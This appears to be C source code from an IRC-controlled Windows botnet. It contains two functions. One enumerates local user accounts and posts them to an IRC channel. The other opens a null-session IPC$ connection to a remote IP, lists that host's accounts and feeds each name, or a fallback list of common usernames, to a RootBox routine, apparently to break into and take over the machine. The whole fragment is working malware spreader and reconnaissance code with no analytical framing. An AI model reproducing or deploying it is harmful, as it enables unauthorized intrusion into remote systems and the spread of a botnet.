BOOL ListUsers(SOCKET sock, char *chan, BOOL notice, char *ServerName)
{
char buffer[IRCLINE];
LPUSER_INFO_0 pBuf=NULL, pTmpBuf;
LPWSTR wServerName = (LPWSTR)AsWideString(ServerName);
DWORD dwLevel=0,dwPrefMaxLen=MAX_PREFERRED_LENGTH,dwEntriesRead=0,
dwTotalEntries=0,dwResumeHandle=0,dwTotalCount=0;
NET_API_STATUS nStatus;
irc_privmsg(sock,chan,"Username accounts for local system:",notice);
do {
nStatus = fNetUserEnum(wServerName,dwLevel,FILTER_NORMAL_ACCOUNT,(LPBYTE*)&pBuf,
dwPrefMaxLen,&dwEntriesRead,&dwTotalEntries,&dwResumeHandle);
if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA)) {
if ((pTmpBuf = pBuf) != NULL) {
for (DWORD i = 0;i < dwEntriesRead; i++) {
assert(pTmpBuf != NULL);
if (pTmpBuf == NULL) {
sprintf(buffer,"-\x03\x34\2net\2\x03- an access violation has occured");
irc_privmsg(sock,chan,buffer,notice);
break;
}
sprintf(buffer," %S",pTmpBuf->usri0_name);
irc_privmsg(sock,chan,buffer,notice,TRUE);
pTmpBuf++;
dwTotalCount++;
}
}
} else {
sprintf(buffer,"-\x03\x34\2net\2\x03- user list error %s <%ld>",NasError(nStatus),nStatus);
irc_privmsg(sock,chan,buffer,notice);
}
if (pBuf != NULL) {
fNetApiBufferFree(pBuf);
pBuf = NULL;
}
} while (nStatus == ERROR_MORE_DATA);
if (pBuf != NULL)
fNetApiBufferFree(pBuf);
sprintf(buffer,"Total users found: %d.",dwTotalCount);
irc_privmsg(sock,chan,buffer,notice);
if(nStatus != ERROR_SUCCESS)
return FALSE;
return TRUE;
}
BOOL NetBios(EXINFO exinfo)
{
char szUsername[300], RemoteName[200], szServer[18];
WCHAR *pszServerName = NULL,sName[500];
LPUSER_INFO_0 pBuf=NULL, pTmpBuf;
DWORD dwLevel=0, dwPrefMaxLen=MAX_PREFERRED_LENGTH, dwEntriesRead=0,
dwTotalEntries=0, dwResumeHandle=0, dwTotalCount=0;
NET_API_STATUS nStatus;
sprintf(szServer,"\\\\%s",exinfo.ip);
MultiByteToWideChar(CP_ACP,0,szServer,-1,sName,sizeof(sName));
pszServerName=sName;
NETRESOURCE nr;
nr.lpLocalName=NULL;
nr.lpProvider=NULL;
nr.dwType=RESOURCETYPE_ANY;
sprintf(RemoteName,"%s\\ipc$",szServer);
nr.lpRemoteName=RemoteName;
if (fWNetAddConnection2(&nr,"","",0) != NO_ERROR) {
fWNetCancelConnection2(RemoteName,0,TRUE);
return FALSE;
}
do {
nStatus = fNetUserEnum(pszServerName, dwLevel, FILTER_NORMAL_ACCOUNT, (LPBYTE*)&pBuf,
dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle);
fWNetCancelConnection2(RemoteName,0,TRUE);
// If the call succeeds,
if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA)) {
if ((pTmpBuf = pBuf) != NULL) {
for (DWORD i = 0; (i < dwEntriesRead); i++) {
if (pTmpBuf == NULL)
break;
WideCharToMultiByte(CP_ACP,0,pTmpBuf->usri0_name,-1,szUsername,sizeof(szUsername),NULL,NULL);
if ((RootBox(szUsername,szServer,exinfo))==TRUE)
break;
pTmpBuf++;
dwTotalCount++;
}
}
}
if (pBuf != NULL) {
fNetApiBufferFree(pBuf);
pBuf = NULL;
}
} while (nStatus == ERROR_MORE_DATA);
if (pBuf != NULL)
fNetApiBufferFree(pBuf);
if (nStatus == ERROR_ACCESS_DENIED) {
for (int i=0; usernames[i]; i++) {
if ((RootBox(usernames[i],szServer,exinfo))==TRUE)
break;
}
}
return TRUE;
}
